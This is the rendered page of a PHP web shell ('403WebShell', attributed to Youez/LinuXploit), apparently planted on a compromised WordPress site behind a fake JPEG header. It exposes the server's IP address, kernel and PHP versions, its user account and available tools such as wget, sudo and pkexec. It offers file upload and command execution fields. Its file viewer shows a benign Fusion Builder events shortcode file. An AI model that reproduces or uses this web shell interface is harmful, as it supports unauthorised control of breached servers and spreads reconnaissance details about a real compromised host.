????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.148.247.210
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.astacus.eu/wp-content/plugins/fusion-builder/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.astacus.eu/wp-content/plugins/fusion-builder/shortcodes//fusion-events.php
<?php

/**
 * Shortcode class.
 *
 * @package fusion-builder
 * @since 1.0
 */
class FusionSC_FusionEvents {

	/**
	 * An array of the shortcode arguments.
	 *
	 * @static
	 * @access public
	 * @since 1.0
	 * @var array
	 */
	public static $args;

	/**
	 * Constructor.
	 *
	 * @access public
	 * @since 1.0
	 */
	public function __construct() {

		add_shortcode( 'fusion_events', array( $this, 'render' ) );
	}

	/**
	 * Render the shortcode
	 *
	 * @access public
	 * @since 1.0
	 * @param  array  $args    Shortcode parameters.
	 * @param  string $content Content between shortcode.
	 * @return string          HTML output.
	 */
	public function render( $args, $content = '' ) {

		$html     = '';
		$defaults = shortcode_atts(
			array(
				'hide_on_mobile' => fusion_builder_default_visibility( 'string' ),
				'class'          => '',
				'id'             => '',
				'cat_slug'       => '',
				'columns'        => '4',
				'number_posts'   => '4',
				'picture_size'   => 'cover',
			), $args
		);

		extract( $defaults );

		if ( class_exists( 'Tribe__Events__Main' ) ) {

			$args = array(
				'post_type' => 'tribe_events',
				'posts_per_page' => $number_posts,
			);

			if ( $cat_slug ) {
				$terms = explode( ',', $cat_slug );
				$args['tax_query'] = array(
					array(
						'taxonomy'  => 'tribe_events_cat',
						'field'     => 'slug',
						'terms'     => array_map( 'trim', $terms ),
					),
				);
			}

			switch ( $columns ) {
				case '1':
					$column_class = 'full-one';
					break;
				case '2':
					$column_class = 'one-half';
					break;
				case '3':
					$column_class = 'one-third';
					break;
				case '4':
					$column_class = 'one-fourth';
					break;
				case '5':
					$column_class = 'one-fifth';
					break;
				case '6':
					$column_class = 'one-sixth';
					break;
			}

			$events = fusion_builder_cached_query( $args );

			if ( ! $events->have_posts() ) {
				return fusion_builder_placeholder( 'tribe_events', 'events' );
			}

			$class = fusion_builder_visibility_atts( $hide_on_mobile, $class );

			if ( $events->have_posts() ) {
				if ( $id ) {
					$id = ' id="' . $id . '"';
				}
				$html .= '<div class="fusion-events-shortcode ' . $class . '"' . $id . '>';
				$i       = 1;
				$last    = false;
				$columns = (int) $columns;

				while ( $events->have_posts() ) {
					$events->the_post();

					if ( $i == $columns ) {
						$last = true;
					}

					if ( $i > $columns ) {
						$i    = 1;
						$last = false;
					}

					if ( 1 == $columns ) {
						$last = true;
					}

					$html .= '<div class="fusion-' . $column_class . ' fusion-spacing-yes fusion-layout-column ' . ( ( $last ) ? 'fusion-column-last' : '' ) . '">';
					$html .= '<div class="fusion-column-wrapper">';
					$thumb_id = get_post_thumbnail_id();
					$thumb_link = wp_get_attachment_image_src( $thumb_id, 'full', true );
					$thumb_url = '';

					if ( has_post_thumbnail( get_the_ID() ) ) {
						$thumb_url = $thumb_link[0];
					} elseif ( class_exists( 'Tribe__Events__Pro__Main' ) ) {
						$thumb_url = esc_url( trailingslashit( Tribe__Events__Pro__Main::instance()->pluginUrl ) . 'src/resources/images/tribe-related-events-placeholder.png' );
					}

					$img_class = ( has_post_thumbnail( get_the_ID() ) ) ? '' : 'fusion-events-placeholder';

					if ( $thumb_url ) {
						$thumb_img = '<img class="' . $img_class . '" src="' . $thumb_url . '" alt="' . esc_attr( get_the_title( get_the_ID() ) ) . '" />';
						if ( has_post_thumbnail( get_the_ID() ) && 'auto' == $picture_size ) {
							$thumb_img = get_the_post_thumbnail( get_the_ID(), 'full' );
						}
						$thumb_bg = '<span class="tribe-events-event-image" style="background-image: url(' . $thumb_url . '); -webkit-background-size: cover; background-size: cover; background-position: center center;"></span>';
					}
					$html .= '<div class="fusion-events-thumbnail hover-type-' . ( ( class_exists( 'Avada' ) ) ? Avada()->settings->get( 'ec_hover_type' ) : '' ) . '">';
					$html .= '<a href="' . get_the_permalink() . '" class="url" rel="bookmark">';

					if ( $thumb_url ) {
						$html .= ( 'auto' == $picture_size ) ? $thumb_img : $thumb_bg;
					} else {
						ob_start();
						/**
						 * The avada_placeholder_image hook.
						 *
						 * @hooked avada_render_placeholder_image - 10 (outputs the HTML for the placeholder image)
						 */
						do_action( 'avada_placeholder_image', 'fixed' );

						$placeholder = ob_get_clean();
						$html .= str_replace( 'fusion-placeholder-image', ' fusion-placeholder-image tribe-events-event-image', $placeholder );
					}

					$html .= '</a>';
					$html .= '</div>';
					$html .= '<div class="fusion-events-meta">';
					$html .= '<h2><a href="' . get_the_permalink() . '" class="url" rel="bookmark">' . get_the_title() . '</a></h2>';
					$html .= '<h4>' . tribe_events_event_schedule_details() . '</h4>';
					$html .= '</div>';
					$html .= '</div>';
					$html .= '</div>';

					if ( $last ) {
						$html .= '<div class="fusion-clearfix"></div>';
					}
					$i++;
				}
				wp_reset_query();
				$html .= '<div class="fusion-clearfix"></div>';
				$html .= '</div>';
			}
			return $html;
		}
	}
}
new FusionSC_FusionEvents();

/**
 * Map shortcode to Fusion Builder
 *
 * @since 1.0
 */
function fusion_element_events() {
	if ( class_exists( 'Tribe__Events__Main' ) ) {
		fusion_builder_map( array(
			'name'      => esc_attr__( 'Events', 'fusion-builder' ),
			'shortcode' => 'fusion_events',
			'icon'      => 'fusiona-tag',
			'params'    => array(
				array(
					'type'        => 'multiple_select',
					'heading'     => esc_attr__( 'Categories', 'fusion-builder' ),
					'description' => esc_attr__( 'Select a category or leave blank for all.', 'fusion-builder' ),
					'param_name'  => 'cat_slug',
					'value'       => fusion_builder_shortcodes_categories( 'tribe_events_cat' ),
					'default'     => '',
				),
				array(
					'type'        => 'textfield',
					'heading'     => esc_attr__( 'Number of Events', 'fusion-builder' ),
					'description' => esc_attr__( 'Select the number of events to display.', 'fusion-builder' ),
					'param_name'  => 'number_posts',
					'value'       => '4',
				),
				array(
					'type'        => 'select',
					'heading'     => esc_attr__( 'Maximum Columns', 'fusion-builder' ),
					'description' => esc_attr__( 'Select the number of max columns to display.', 'fusion-builder' ),
					'param_name'  => 'columns',
					'value'       => array(
						'1' => '1',
						'2' => '2',
						'3' => '3',
						'4' => '4',
						'5' => '5',
						'6' => '6',
					),
					'default'     => '4',
				),
				array(
					'type'        => 'radio_button_set',
					'heading'     => esc_attr__( 'Picture Size', 'fusion-builder' ),
					'description' => __( 'cover = image will scale to cover the container, <br />auto = width and height will adjust to the image.', 'fusion-builder' ),
					'param_name'  => 'picture_size',
					'value'       => array(
						esc_attr__( 'Cover', 'fusion-builder' ) => 'cover',
						esc_attr__( 'Auto', 'fusion-builder' )  => 'auto',
					),
					'default' => 'cover',
				),
				array(
					'type'        => 'checkbox_button_set',
					'heading'     => esc_attr__( 'Element Visibility', 'fusion-builder' ),
					'param_name'  => 'hide_on_mobile',
					'value'       => fusion_builder_visibility_options( 'full' ),
					'default'     => fusion_builder_default_visibility( 'array' ),
					'description' => esc_attr__( 'Choose to show or hide the element on small, medium or large screens. You can choose more than one at a time.', 'fusion-builder' ),
				),
				array(
					'type'        => 'textfield',
					'heading'     => esc_attr__( 'CSS Class', 'fusion-builder' ),
					'description' => esc_attr__( 'Add a class to the wrapping HTML element.', 'fusion-builder' ),
					'param_name'  => 'class',
					'value'       => '',
				),
				array(
					'type'        => 'textfield',
					'heading'     => esc_attr__( 'CSS ID', 'fusion-builder' ),
					'description' => esc_attr__( 'Add an ID to the wrapping HTML element.', 'fusion-builder' ),
					'param_name'  => 'id',
					'value'       => '',
				),
			),
		) );
	}
}
add_action( 'fusion_builder_before_init', 'fusion_element_events' );

Youez - 2016 - github.com/yon3zu
LinuXploit